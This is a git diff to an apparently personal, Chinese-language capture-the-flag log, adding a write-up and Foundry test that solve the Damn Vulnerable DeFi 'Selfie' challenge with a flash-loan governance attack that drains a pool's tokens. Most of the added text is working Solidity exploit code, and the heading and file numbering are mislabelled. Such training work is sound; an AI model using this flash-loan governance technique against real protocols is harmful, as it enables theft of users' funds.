diff --git a/DeletedAccount.md b/DeletedAccount.md index 9c4d6dcc..7e148626 100644 --- a/DeletedAccount.md +++ b/DeletedAccount.md @@ -1397,5 +1397,69 @@ function test_theRewarder() public checkSolvedByPlayer { - 那這樣好像只能手動用 Foundry 作弊,快轉區塊時間 2 天了呢 - 明天補上 Exploit Code +### 2024.09.20 + +#### [DamnVulnerableDeFi-07] Compromised + +- 通關條件: 把 `SelfiePool` 合約的 token 餘額偷走,轉到 recovery 帳號去 +- 解法: + - 昨天的分析是正確的,可以參考 09.19 的解題分析內容。 + - 我們需要做的是: 發起一個 `SelfiePool.flashLoan()` + - 把 `SelfiePool` 合約的 voting token 借出來 + - 呼叫 `token.delegate(address(this))` 使攻擊合約有足夠的 vote 可以通過 `SimpleGovernance._hasEnoughVotes()` 的檢查 + - 向 `SimpleGovernance` 發起一個 `queueAction()` 請求 + - `queueAction(bytes calldata data)` 裡面帶入的參數是 `SelfiePool.emergencyExit(recovery)` + - 閃電貸還款 + - 然後等待 2 天,使 queue 進去的 Action 足夠成熟 (可以用 Foundry 作弊碼快轉區塊時間) + - 然後呼叫 `SimpleGovernance.executeAction()` 來把 `SelfiePool` 的 voting token 全部拿出來 + +```solidity +import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; + + function test_selfie() public checkSolvedByPlayer { + Hack hack = new Hack(token, governance, pool, recovery); + + bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery); + pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data); + + vm.warp(2 days + 1); + + governance.executeAction(1); + } + + +contract Hack is IERC3156FlashBorrower { + DamnValuableVotes _token; + SimpleGovernance governance; + SelfiePool pool; + address recovery; + + constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) { + _token = token; + governance = _governance; + pool = _pool; + recovery = _recovery; + } + + function onFlashLoan( + address initiator, + address token, + uint256 amount, + uint256 fee, + bytes calldata data + ) external override returns (bytes32) { + _token.delegate(address(this)); + governance.queueAction(address(pool), 0, data); + + IERC20(token).approve(msg.sender, type(uint256).max); + + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } +} +``` + +- [DamnVulnerableDeFi-06-Selfie.t.sol](/Writeup/DeletedAccount/DamnVulnerableDeFi-06-Selfie.t.sol) + \ No newline at end of file diff --git a/Writeup/DeletedAccount/DamnVulnerableDeFi-05-Selfie.t.sol b/Writeup/DeletedAccount/DamnVulnerableDeFi-05-Selfie.t.sol new file mode 100644 index 00000000..7e5d572e --- /dev/null +++ b/Writeup/DeletedAccount/DamnVulnerableDeFi-05-Selfie.t.sol @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz) +pragma solidity =0.8.25; + +import {Test, console} from "forge-std/Test.sol"; +import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol"; +import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol"; +import {SelfiePool} from "../../src/selfie/SelfiePool.sol"; +import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; + +contract SelfieChallenge is Test { + address deployer = makeAddr("deployer"); + address player = makeAddr("player"); + address recovery = makeAddr("recovery"); + + uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18; + uint256 constant TOKENS_IN_POOL = 1_500_000e18; + + DamnValuableVotes token; + SimpleGovernance governance; + SelfiePool pool; + + modifier checkSolvedByPlayer() { + vm.startPrank(player, player); + _; + vm.stopPrank(); + _isSolved(); + } + + /** + * SETS UP CHALLENGE - DO NOT TOUCH + */ + function setUp() public { + startHoax(deployer); + + // Deploy token + token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY); + + // Deploy governance contract + governance = new SimpleGovernance(token); + + // Deploy pool + pool = new SelfiePool(token, governance); + + // Fund the pool + token.transfer(address(pool), TOKENS_IN_POOL); + + vm.stopPrank(); + } + + /** + * VALIDATES INITIAL CONDITIONS - DO NOT TOUCH + */ + function test_assertInitialState() public view { + assertEq(address(pool.token()), address(token)); + assertEq(address(pool.governance()), address(governance)); + assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL); + assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL); + assertEq(pool.flashFee(address(token), 0), 0); + } + + /** + * CODE YOUR SOLUTION HERE + */ + function test_selfie() public checkSolvedByPlayer { + Hack hack = new Hack(token, governance, pool, recovery); + + bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery); + pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data); + + vm.warp(2 days + 1); + + governance.executeAction(1); + } + + /** + * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH + */ + function _isSolved() private view { + // Player has taken all tokens from the pool + assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens"); + assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account"); + } +} + + +contract Hack is IERC3156FlashBorrower { + DamnValuableVotes _token; + SimpleGovernance governance; + SelfiePool pool; + address recovery; + + constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) { + _token = token; + governance = _governance; + pool = _pool; + recovery = _recovery; + } + + function onFlashLoan( + address initiator, + address token, + uint256 amount, + uint256 fee, + bytes calldata data + ) external override returns (bytes32) { + _token.delegate(address(this)); + governance.queueAction(address(pool), 0, data); + + IERC20(token).approve(msg.sender, type(uint256).max); + + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } +} \ No newline at end of file